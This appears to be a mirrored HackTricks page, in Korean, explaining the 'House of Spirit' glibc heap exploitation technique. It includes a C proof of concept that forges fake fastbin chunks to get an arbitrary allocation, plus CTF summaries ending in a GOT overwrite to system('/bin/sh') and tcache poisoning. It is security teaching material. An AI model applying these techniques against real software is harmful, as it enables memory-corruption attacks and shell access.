mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
115 lines
4.8 KiB
Markdown
115 lines
4.8 KiB
Markdown
# House of Spirit
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## 기본 정보
|
|
|
|
### 코드
|
|
|
|
<details>
|
|
|
|
<summary>House of Spirit</summary>
|
|
```c
|
|
#include <unistd.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <stdio.h>
|
|
|
|
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
|
|
|
|
struct fast_chunk {
|
|
size_t prev_size;
|
|
size_t size;
|
|
struct fast_chunk *fd;
|
|
struct fast_chunk *bk;
|
|
char buf[0x20]; // chunk falls in fastbin size range
|
|
};
|
|
|
|
int main() {
|
|
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
|
|
void *ptr, *victim;
|
|
|
|
ptr = malloc(0x30);
|
|
|
|
printf("Original alloc address: %p\n", ptr);
|
|
printf("Main fake chunk:%p\n", &fake_chunks[0]);
|
|
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
|
|
|
|
// Passes size check of "free(): invalid size"
|
|
fake_chunks[0].size = sizeof(struct fast_chunk);
|
|
|
|
// Passes "free(): invalid next size (fast)"
|
|
fake_chunks[1].size = sizeof(struct fast_chunk);
|
|
|
|
// Attacker overwrites a pointer that is about to be 'freed'
|
|
// Point to .fd as it's the start of the content of the chunk
|
|
ptr = (void *)&fake_chunks[0].fd;
|
|
|
|
free(ptr);
|
|
|
|
victim = malloc(0x30);
|
|
printf("Victim: %p\n", victim);
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
</details>
|
|
|
|
### 목표
|
|
|
|
- tcache / fast bin에 주소를 추가할 수 있어야 하며, 나중에 이를 할당할 수 있어야 합니다.
|
|
|
|
### 요구 사항
|
|
|
|
- 이 공격은 공격자가 크기 값을 올바르게 나타내는 몇 개의 가짜 fast 청크를 생성할 수 있어야 하며, 그런 다음 첫 번째 가짜 청크를 해제하여 bin에 들어가게 해야 합니다.
|
|
|
|
### 공격
|
|
|
|
- 보안 검사를 우회하는 가짜 청크 생성: 기본적으로 올바른 위치에 올바른 크기를 나타내는 2개의 가짜 청크가 필요합니다.
|
|
- 첫 번째 가짜 청크를 해제하여 fast 또는 tcache bin에 들어가게 하고, 그런 다음 해당 주소를 덮어쓰도록 할당해야 합니다.
|
|
|
|
**[**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **의 코드는 공격을 이해하는 데 매우 유용합니다.** 이 코드의 스키마는 이를 잘 요약합니다:
|
|
```c
|
|
/*
|
|
this will be the structure of our two fake chunks:
|
|
assuming that you compiled it for x64
|
|
|
|
+-------+---------------------+------+
|
|
| 0x00: | Chunk # 0 prev size | 0x00 |
|
|
+-------+---------------------+------+
|
|
| 0x08: | Chunk # 0 size | 0x60 |
|
|
+-------+---------------------+------+
|
|
| 0x10: | Chunk # 0 content | 0x00 |
|
|
+-------+---------------------+------+
|
|
| 0x60: | Chunk # 1 prev size | 0x00 |
|
|
+-------+---------------------+------+
|
|
| 0x68: | Chunk # 1 size | 0x40 |
|
|
+-------+---------------------+------+
|
|
| 0x70: | Chunk # 1 content | 0x00 |
|
|
+-------+---------------------+------+
|
|
|
|
for what we are doing the prev size values don't matter too much
|
|
the important thing is the size values of the heap headers for our fake chunks
|
|
*/
|
|
```
|
|
> [!NOTE]
|
|
> 일부 유효성 검사를 우회하기 위해 두 번째 청크를 생성하는 것이 필요하다는 점에 유의하십시오.
|
|
|
|
## Examples
|
|
|
|
- **CTF** [**https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html**](https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html)
|
|
|
|
- **Libc infoleak**: 오버플로우를 통해 포인터를 GOT 주소를 가리키도록 변경하여 CTF의 읽기 작업을 통해 libc 주소를 유출할 수 있습니다.
|
|
- **House of Spirit**: "소총"의 수를 세는 카운터를 악용하여 첫 번째 가짜 청크의 가짜 크기를 생성한 다음, "메시지"를 악용하여 청크의 두 번째 크기를 가짜로 만들고 마지막으로 오버플로우를 악용하여 해제될 포인터를 변경하여 첫 번째 가짜 청크가 해제되도록 할 수 있습니다. 그런 다음, 이를 할당하면 "메시지"가 저장된 주소가 그 안에 있게 됩니다. 이후 이 주소를 GOT 테이블 내의 `scanf` 항목을 가리키도록 할 수 있어, 이를 system의 주소로 덮어쓸 수 있습니다.\
|
|
다음 번에 `scanf`가 호출되면 입력으로 `"/bin/sh"`를 보내어 쉘을 얻을 수 있습니다.
|
|
|
|
- [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/)
|
|
- **Glibc leak**: 초기화되지 않은 스택 버퍼.
|
|
- **House of Spirit**: 힙 포인터의 전역 배열의 첫 번째 인덱스를 수정할 수 있습니다. 단일 바이트 수정을 통해 유효한 청크 내의 가짜 청크에서 `free`를 사용하여 다시 할당한 후 오버랩된 청크 상황을 얻습니다. 이를 통해 간단한 Tcache 중독 공격이 작동하여 임의 쓰기 원시를 얻을 수 있습니다.
|
|
|
|
## References
|
|
|
|
- [https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|